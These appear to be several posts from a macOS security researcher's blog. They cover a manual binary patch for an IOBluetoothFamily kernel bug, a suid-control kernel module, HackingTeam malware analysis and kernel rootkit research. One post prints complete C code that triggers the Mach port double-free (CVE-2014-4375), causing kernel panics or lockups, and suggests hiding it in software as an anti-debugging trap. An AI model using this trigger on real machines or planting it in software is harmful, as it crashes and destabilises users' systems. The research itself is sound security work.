Patching what Apple doesn’t want to or how to make your “old” OS X versions a bit safer

Today a local privilege escalation vulnerability was disclosed in this blog post. It describes a vulnerability in IOBluetoothFamily kernel extension (IOKit is a never-ending hole of security vulnerabilities…).

Mavericks and most probably all previous versions are vulnerable but not Yosemite.
The reason for this is that Apple silently patched the bug in Yosemite.
This is not a new practice, where Apple patches bugs in the latest and newly released OS X version and doesn’t care about older versions. Mavericks 10.9.5 update was released more or less around Yosemite date and this doesn’t look like a last minute bug found (although I’m going to confirm this). I bet that the bugs disclosed at SyScan 2013 by Stefan Esser still aren’t patched in Mountain Lion.

The blog post authors seem to experience the same “we don’t care attitude”. Their conclusions state:
“We contacted Apple on October 20th, 2014, asking for their intention to back-port the security fix to OS X Mavericks. Unfortunately, we got no reply, so we decided to publicly disclose the details of this vulnerability: Yosemite has now been released since a while and is available for free for Apple customers; thus, we don’t think the public disclosure of this bug could endanger end-users.”

The patch is very simple with only two instructions. With some luck we can patch it ourselves. What we need is a bit of unused space for installing the patch instructions. The mach-o header is usually a good place in userland but in kernel extensions you get a no execute (NX) kernel panic. They are also not wired memory so it’s not a good place to install a patch. We are left with alignment space.
If you search there are quite a few places with 15 alignment bytes (tip: load the driver into IDA, do a text search for align or a byte search for 90 90 90). That’s good enough for our patching, and we will need two of those islands since my proposed patch is 19 bytes long.

The two patch instructions are:
test ecx,ecx
js location

To install the patch we need to replace the first original instruction with a jump to the first island. Then we restore the original instruction and add the new patch instructions. We need to use a second island because the first doesn’t have enough space for this.
The new code should be something like this:
original_address:
jmp first_island
nop
remaining original_instructions
(…)
first_island:
jge location (original instruction)
test ecx,ecx (patch instruction)
jmp second_island
second_island:
js location (patch instruction)
jmp next_original_instruction

For Mavericks 10.9.5 you want to patch the following file /System/Library/Extensions/IOBluetoothFamily.kext/Contents/MacOS/IOBluetoothFamily.

Use the following file offsets and bytes:
Original instructions:
0x2855C: E9 B0 F7 FF FF 90
First island:
0x27D11: 0F 8D 43 0B 00 00
0x27D17: 85 C9
0x27D19: E9 23 2E 00 00
Second island:
0x2AB41: 0F 88 13 DD FF FF
0x2AB47: E9 16 DA FF FF

Save file, copy back to the original location, touch /System/Library/Extensions and reboot :-). Most probably this patch can be improved and reduced in size using smaller jump offsets if nearer islands are available. I didn’t bother to check.

Now go write to Apple and ask them to issue a proper patch. This total crap security policy must come to an end. Just in case you are wondering if this is an isolated case, check this Google Zero blog post. Two bugs that remain unpatched on OS X ;-).

Oh, this will break the code signature but in Mavericks that’s just a warning and not a fatal error. You can resign with a developer kext certificate if you have one.

Have fun,
fG!

P.S.: Another fine example of this crap security policy is that Apple fixed a few integer overflows in C++ code of libkern in Yosemite but didn’t bother to backport to Mavericks 10.9.5.  This is just insane…

Can I SUID: a TrustedBSD policy module to control suid binaries execution

Let me present you another TrustedBSD policy module, this time to control execution of suid enabled binaries.
The idea to create this started with nemo’s exploitation of bash’s shellshock bug and VMWare  Fusion. It was an easy local privilege escalation because there are many Fusion suid enabled binaries. This got me thinking that I want to know when this kind of binaries are executed and if possible control access to them. For the first part you don’t really need this module because the audit features available in OS X can give you this information. I’m more interested in having decision power over what is executed. Or it’s just another nice example of how TrustedBSD is so interesting and powerful and why it’s annoying that Apple is closing KPI access to it (latest SDK warnings say it was never meant to be a KPI).

There are two parts to this. The first is the kernel driver that detects execution, controls access, and notifies userland. The second is a small userland application that receives the kernel notifications, asks the user for a decision, and sends back the answer to the kernel.
The execution is blocked until a decision is made or a timeout is reached (default is 5 seconds, you probably want to increase this value).

To avoid any deadlocks all binaries before userland application is connected are authorized. When the userland finally connects it receives a list (displayed as user notifications) of all the suid binaries that executed during the boot process (from my tests this is zero in Mavericks).

Because of the changing nature of TrustedBSD started in Mavericks, this code only works with Mavericks as it is. If you want to make it work in Mountain Lion or Yosemite, you need to change the hook prototype and compile it with the correspondent SDK.

The userland application needs some work due to my crap Cocoa skills :-). The kernel extension has a few points that need a decision (what to do in error cases mostly), authentication of the userland process (it’s not hard to do), and probably more process information.

A friendly tip: The kernel control interface is used for userland/kernel communication. Because the volume of data exchanged is very low it’s ok for this. If you are thinking about using this  interface for high volumes forget about it. It has some weird bug where it starts losing data and not able to keep throughtput (error 55 is what you start to experience).

Source available at Github, https://github.com/gdbinit/can_I_suid.

Have fun,
fG!

The double free mach port bug: The short story of a dead 0day

The iOS 8 security update bulletin has many fixed bugs, one of which is this one “A double free issue existed in the handling of Mach ports. This issue was addressed through improved validation of Mach ports. CVE-2014-4375 : an anonymous researcher”.

Well, I’ve known this bug for a while and it was insanely fun as anti-debugging measure because of its random effects when triggered. For example, sometimes you get an immediate kernel panic, others nothing happens, and most of the time you get weird cpu spikes not attributed to any process, or system lock ups after a while. This used as anti-debugging measure is extremely fun because the attacker will suffer from totally random events and the bug is easy to hide in plain sight.

The following sample code will trigger it:

#include <CoreFoundation/CoreFoundation.h>
#include <mach/host_priv.h>
#include <mach/mach.h>
#include <mach/host_special_ports.h>

static mach_port_t service;     /* our own service port */

int main(int argc, const char * argv[])
{
    kern_return_t kr = 0;
    /* create the negotiation server service port */
    kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &service);
    if (kr != KERN_SUCCESS)
    {
        printf("Failed to allocate port: %s\n", mach_error_string(kr));
        exit(1);
    }
    /* host_set_special_port requires a send right */
    kr = mach_port_insert_right(mach_task_self(), service, service, MACH_MSG_TYPE_MAKE_SEND);
    if (kr != KERN_SUCCESS)
    {
        printf("Failed to mach_port_insert_right: %s\n", mach_error_string(kr));
        exit(1);
    }
    mach_port_t host_port;
    /* get host port so we can do the host_set_special_port */
    if ((host_port = mach_host_self()) == MACH_PORT_NULL)
    {
        printf ("mach_host_self() returned MACH_PORT_NULL\n");
        exit(1);
    }
    kr = host_set_special_port (host_port, // invalid port being passed
                                HOST_UNFREED_PORT,
                                service);
    if (kr != KERN_SUCCESS)
    {
        printf ("Can't check in with server\n");
        /* we should crash here */
        exit(1);
    }
    CFShow(CFSTR("Hello, World!\n"));
    return 0;
}

Start Activity Monitor and load the binary once or twice in a Terminal window. You should immediately observe the effects. In iOS it results in immediate kernel panic and reboot.

This bug is fixed on Yosemite DP4 or later, and iOS 8. All other versions are still vulnerable. For example Mavericks 10.9.5 was released just after iOS 8 and the bug is still unfixed. A common practice from Apple if we take in account that bugs disclosed at SyScan 2013 are still unfixed in Mountain Lion. The Apple motto seems to be: Use the latest version or be vulnerable (aka fuck off!).
The impact attributed by Apple to this one: “Impact: A local user may be able to cause an unexpected system termination or arbitrary code execution in the kernel”. Take your own conclusions ;-).

Have fun,
fG!

Shakacon #6 presentation: Fuck you Hacking Team, From Portugal with Love.

Aloha,

Shakacon number 6 is over, it was a blast and I must confess it beat my expectations. Congratulations to everyone involved in making it possible. Definitely recommended if you want to speak or attend, and totally worth the massive jet lag ;-).

My presentation was about reverse engineering HackingTeam’s OS X malware latest known sample. The slide count is 206 and I was obviously not able to present everything. The goal is that you have a nice reference available for this malware and also MPRESS unpacking (technically dumping).

This sample in particular was thought to be a newer version of this malware but I try to show you that I don’t think it’s the case and instead, it’s the oldest version of HackingTeam’s OS X malware. If this theory is true, it means we have a two years knowledge gap about the OS X version. Interesting challenge ahead!

The tool I promised to release will have to wait a couple more days since I need to fix its code to implement the fixes I suggest regarding the file and memory sizes differences. Keep watching this space, github or Twitter.

Update: MPRESS dumper source code now available at Github.

Mahalo,
fG!

Links to slides (34.3Mb):

ShakaCon6-FuckYouHackingTeam.pdf
ShakaCon6-FuckYouHackingTeam.pdf (Dropbox mirror)

 

About the processor_set_tasks() access to kernel memory vulnerability

At BlackHat Asia 2014, Ming-chieh Pan and Sung-ting Tsai presented about Mac OS X Rootkits (paper and slides). They describe some very cool techniques to access kernel memory in different ways than the usual ones. The slides and paper aren’t very descriptive about all the techniques so this weekend I decided to give it a try and replicate the described vulnerability to access kernel memory.

The access to kernel task (process 0) was possible before Leopard (or was it fixed in Snow Leopard? too lazy to check it now!), by using the function task_for_pid(0). This would retrieve the task port for the kernel and then we could use the mach_vm_read/write functions to fool around with kernel memory. It was pretty cool but a giant hole, even if it required root access to be used. The task_for_pid() function now has the following code to deny access to the kernel task (from 10.9.0 XNU source code):
Continue reading

Revisiting Mac OS X Kernel Rootkits Phrack article is finally out!

Enjoy it at Phrack!
It’s finally out. It feels a bit old and it is indeed a bit old but still a good paper (or at least I tried to make it that way). The supplied code is for an older version of that rootkit. For example it still has dependencies on importing task, proc and other kernel private structures. The updated version solves all required offsets so it supports easily new and old OS X versions. It will come out with the book together with other features that were added, and new ones I am poking around.

The book? Life has been chaotic, doesn’t help my brain is like electricity, always attraced by the least resistance path and by new things. I got new motivation and hopefully a team soon enough so I can dedicate myself to write it.
I can tell you that nemo wrote a treaty on DTrace ;-). A bit more patience on this, I think it will be worth the wait.

Meanwhile, enjoy that long article, hopefully it is interesting enough :-).

Have fun,
fG!